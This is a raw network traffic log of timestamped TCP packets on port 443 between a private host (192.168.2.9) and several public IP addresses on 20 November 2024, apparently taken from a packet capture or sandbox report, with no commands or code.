Nov 20, 2024 10:19:51.103125095 CET	49708	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.103161097 CET	443	49708	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.103234053 CET	49708	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.103512049 CET	49707	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.103537083 CET	443	49707	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.104388952 CET	49709	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.104434967 CET	443	49709	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.104959965 CET	49708	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.104976892 CET	443	49708	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.104994059 CET	49709	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.105108023 CET	49709	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.105125904 CET	443	49709	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.105964899 CET	49710	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.105973005 CET	443	49710	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.106031895 CET	49710	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.106137991 CET	49710	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.106147051 CET	443	49710	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.106895924 CET	49711	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.106909990 CET	443	49711	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.106976986 CET	49711	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.107075930 CET	49711	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.107084990 CET	443	49711	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.363296986 CET	49677	443	192.168.2.9	20.189.173.11
Nov 20, 2024 10:19:51.772420883 CET	443	49707	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.774868965 CET	443	49711	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.776000023 CET	443	49709	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.776871920 CET	443	49710	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.804907084 CET	443	49708	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.816565037 CET	49707	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.816576004 CET	49711	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.816576004 CET	49709	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.829055071 CET	49708	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.829081059 CET	443	49708	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.829816103 CET	49708	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.829819918 CET	443	49708	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.830250025 CET	49707	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.830260038 CET	443	49707	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.830646038 CET	49707	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.830648899 CET	443	49707	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.832024097 CET	49710	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.851706028 CET	49711	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.851756096 CET	443	49711	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.852844000 CET	49711	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.852870941 CET	443	49711	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.853863001 CET	49709	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.853874922 CET	443	49709	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.854603052 CET	49709	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.854612112 CET	443	49709	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.855041027 CET	49710	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.855065107 CET	443	49710	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.855628014 CET	49710	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.855637074 CET	443	49710	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.937448978 CET	443	49707	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.937483072 CET	443	49707	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.937697887 CET	49707	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.937721014 CET	443	49707	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.937767029 CET	49707	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.938585997 CET	443	49707	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.938644886 CET	443	49707	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.938687086 CET	49707	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.942389965 CET	443	49708	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.942470074 CET	443	49708	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.942558050 CET	49708	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.958046913 CET	443	49709	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.958072901 CET	443	49711	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.958085060 CET	443	49709	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.958117962 CET	443	49709	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.958149910 CET	443	49711	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.958151102 CET	49709	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.958192110 CET	49709	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.958210945 CET	49711	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.958905935 CET	443	49710	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.958930016 CET	443	49710	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.958975077 CET	443	49710	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:51.958973885 CET	49710	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:51.959016085 CET	49710	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.132467985 CET	49707	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.132509947 CET	443	49707	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.132524014 CET	49707	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.132530928 CET	443	49707	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.133443117 CET	49710	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.133486032 CET	443	49710	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.133502007 CET	49710	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.133508921 CET	443	49710	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.134476900 CET	49708	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.134481907 CET	443	49708	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.134495020 CET	49708	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.134499073 CET	443	49708	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.135436058 CET	49709	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.135472059 CET	443	49709	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.135493040 CET	49709	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.135500908 CET	443	49709	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.136404991 CET	49711	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.136418104 CET	443	49711	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.136435032 CET	49711	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.136440992 CET	443	49711	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.231379986 CET	49712	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.231421947 CET	443	49712	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.231484890 CET	49712	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.243092060 CET	49713	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.243145943 CET	443	49713	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.243196011 CET	49713	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.243295908 CET	49712	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.243325949 CET	443	49712	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.244204044 CET	49714	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.244231939 CET	443	49714	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.244277954 CET	49714	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.244683027 CET	49714	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.244699001 CET	443	49714	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.245604992 CET	49715	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.245635033 CET	443	49715	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.245687962 CET	49715	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.260637999 CET	49713	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.260677099 CET	443	49713	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.261482954 CET	49716	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.261537075 CET	443	49716	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.261588097 CET	49716	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.261754990 CET	49716	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.261774063 CET	443	49716	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.261960983 CET	49715	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.261986017 CET	443	49715	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.909328938 CET	443	49712	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.914097071 CET	443	49714	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.957051992 CET	49712	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.958619118 CET	49714	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:52.966768980 CET	443	49716	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.977221012 CET	443	49713	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:52.983071089 CET	443	49715	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:53.019712925 CET	49713	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:53.019716024 CET	49716	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:53.035178900 CET	49715	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:53.988724947 CET	49715	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:53.988799095 CET	443	49715	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:53.990240097 CET	49715	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:53.990264893 CET	443	49715	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:53.991054058 CET	49712	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:53.991090059 CET	443	49712	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:53.992409945 CET	49712	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:53.992415905 CET	443	49712	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:53.994750977 CET	49714	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:53.994760990 CET	443	49714	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.019896030 CET	49714	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.019905090 CET	443	49714	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.020524979 CET	49716	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.020597935 CET	443	49716	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.021100998 CET	49716	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.021127939 CET	443	49716	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.022152901 CET	49713	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.022202015 CET	443	49713	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.023004055 CET	49713	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.023013115 CET	443	49713	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.091337919 CET	443	49712	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.091433048 CET	443	49712	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.091500044 CET	49712	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.093908072 CET	443	49715	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.094094992 CET	443	49715	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.094161987 CET	49715	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.125003099 CET	443	49714	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.125094891 CET	443	49714	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.125157118 CET	49714	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.125200033 CET	443	49716	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.125724077 CET	443	49716	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.125797033 CET	49716	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.131907940 CET	443	49713	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.131998062 CET	443	49713	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.132052898 CET	49713	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.295753956 CET	49712	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.295799017 CET	443	49712	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.295963049 CET	49713	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.295963049 CET	49713	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.296046972 CET	443	49713	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.296081066 CET	443	49713	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.297061920 CET	49715	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.297090054 CET	443	49715	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.297139883 CET	49715	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.297157049 CET	443	49715	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.297779083 CET	49714	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.297784090 CET	49716	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.297791958 CET	443	49714	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.297785044 CET	49716	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.297828913 CET	49714	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.297836065 CET	443	49714	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.297858000 CET	443	49716	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.297889948 CET	443	49716	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.303625107 CET	49717	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.303679943 CET	443	49717	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.303735018 CET	49717	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.306610107 CET	49718	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.306688070 CET	443	49718	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.306759119 CET	49718	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.307631016 CET	49717	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.307650089 CET	443	49717	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.310012102 CET	49719	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.310029030 CET	443	49719	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.310079098 CET	49719	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.310256004 CET	49719	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.310266018 CET	443	49719	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.310666084 CET	49718	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.310709000 CET	443	49718	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.312658072 CET	49720	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.312688112 CET	443	49720	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.312742949 CET	49720	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.312858105 CET	49720	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.312868118 CET	443	49720	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.313925982 CET	49721	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.313961029 CET	443	49721	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.314012051 CET	49721	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.314584017 CET	49721	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:54.314598083 CET	443	49721	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.967802048 CET	443	49717	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.983504057 CET	443	49718	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.983716965 CET	443	49721	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.986747026 CET	443	49720	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:54.986763954 CET	443	49719	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:55.050982952 CET	49720	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:55.050990105 CET	49721	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:55.082104921 CET	49717	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:55.082133055 CET	49718	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:55.082144022 CET	49719	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:56.285377979 CET	49677	443	192.168.2.9	20.189.173.11
Nov 20, 2024 10:19:57.173290014 CET	49719	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.173320055 CET	443	49719	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.174751997 CET	49719	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.174757004 CET	443	49719	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.175671101 CET	49721	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.175697088 CET	443	49721	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.187541008 CET	49721	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.187560081 CET	443	49721	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.188743114 CET	49717	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.188755989 CET	443	49717	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.190958023 CET	49717	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.190963030 CET	443	49717	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.191073895 CET	49718	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.191096067 CET	443	49718	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.195234060 CET	49718	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.195240021 CET	443	49718	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.211688995 CET	49720	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.211705923 CET	443	49720	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.212351084 CET	49720	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.212357044 CET	443	49720	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.277910948 CET	443	49719	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.280020952 CET	443	49719	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.280085087 CET	49719	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.291750908 CET	443	49721	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.292259932 CET	443	49721	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.292325020 CET	49721	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.292370081 CET	443	49717	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.292469978 CET	443	49717	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.292542934 CET	49717	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.297019958 CET	443	49718	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.297488928 CET	443	49718	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.297554016 CET	49718	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.311111927 CET	49719	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.311132908 CET	443	49719	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.311151981 CET	49719	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.311156988 CET	443	49719	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.312877893 CET	49721	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.312877893 CET	49721	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.312900066 CET	443	49721	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.312910080 CET	443	49721	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.314146042 CET	49717	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.314151049 CET	443	49717	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.314163923 CET	49717	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.314167976 CET	443	49717	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.318825006 CET	443	49720	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.319040060 CET	443	49720	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.319087982 CET	49720	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.469922066 CET	49718	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.469971895 CET	443	49718	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.469993114 CET	49718	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.470001936 CET	443	49718	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.472711086 CET	49673	443	192.168.2.9	204.79.197.203
Nov 20, 2024 10:19:57.485933065 CET	49720	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.485961914 CET	443	49720	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.485974073 CET	49720	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.485980034 CET	443	49720	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.550276041 CET	49722	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.550318003 CET	443	49722	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.550390959 CET	49722	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.554270983 CET	49723	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.554321051 CET	443	49723	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.554485083 CET	49723	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.555813074 CET	49724	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.555907011 CET	443	49724	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.555988073 CET	49724	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.556504011 CET	49722	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.556523085 CET	443	49722	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.558151007 CET	49725	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.558258057 CET	443	49725	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.558335066 CET	49725	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.558525085 CET	49723	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.558542013 CET	443	49723	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.558557987 CET	49725	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.558593988 CET	443	49725	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.558736086 CET	49726	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.558757067 CET	443	49726	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.558815956 CET	49726	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.558851957 CET	49724	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.558902979 CET	443	49724	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:57.559905052 CET	49726	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:57.559931040 CET	443	49726	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.400504112 CET	443	49722	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.441432953 CET	49722	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.469223022 CET	443	49726	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.474212885 CET	443	49724	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.481425047 CET	443	49723	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.491337061 CET	443	49725	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.572271109 CET	49725	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.572319031 CET	443	49725	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.573308945 CET	49725	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.573318958 CET	443	49725	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.573869944 CET	49722	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.573892117 CET	443	49722	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.575198889 CET	49722	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.575202942 CET	443	49722	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.625658989 CET	49726	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.625658989 CET	49726	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.625763893 CET	443	49726	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.625794888 CET	443	49726	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.627419949 CET	49724	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.627439022 CET	443	49724	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.627816916 CET	49724	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.627826929 CET	443	49724	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.627883911 CET	49723	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.627897978 CET	443	49723	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.628222942 CET	49723	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.628233910 CET	443	49723	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.689244986 CET	443	49722	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.689336061 CET	443	49722	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.689408064 CET	49722	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.691917896 CET	443	49725	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.692022085 CET	443	49725	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.692081928 CET	49725	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.726937056 CET	443	49726	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.727009058 CET	443	49726	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.727081060 CET	49726	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.730326891 CET	443	49724	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.730494022 CET	443	49724	13.107.246.45	192.168.2.9
Nov 20, 2024 10:19:58.730556965 CET	49724	443	192.168.2.9	13.107.246.45
Nov 20, 2024 10:19:58.733932018 CET	443	49723	13.107.246.45	192.168.2.9
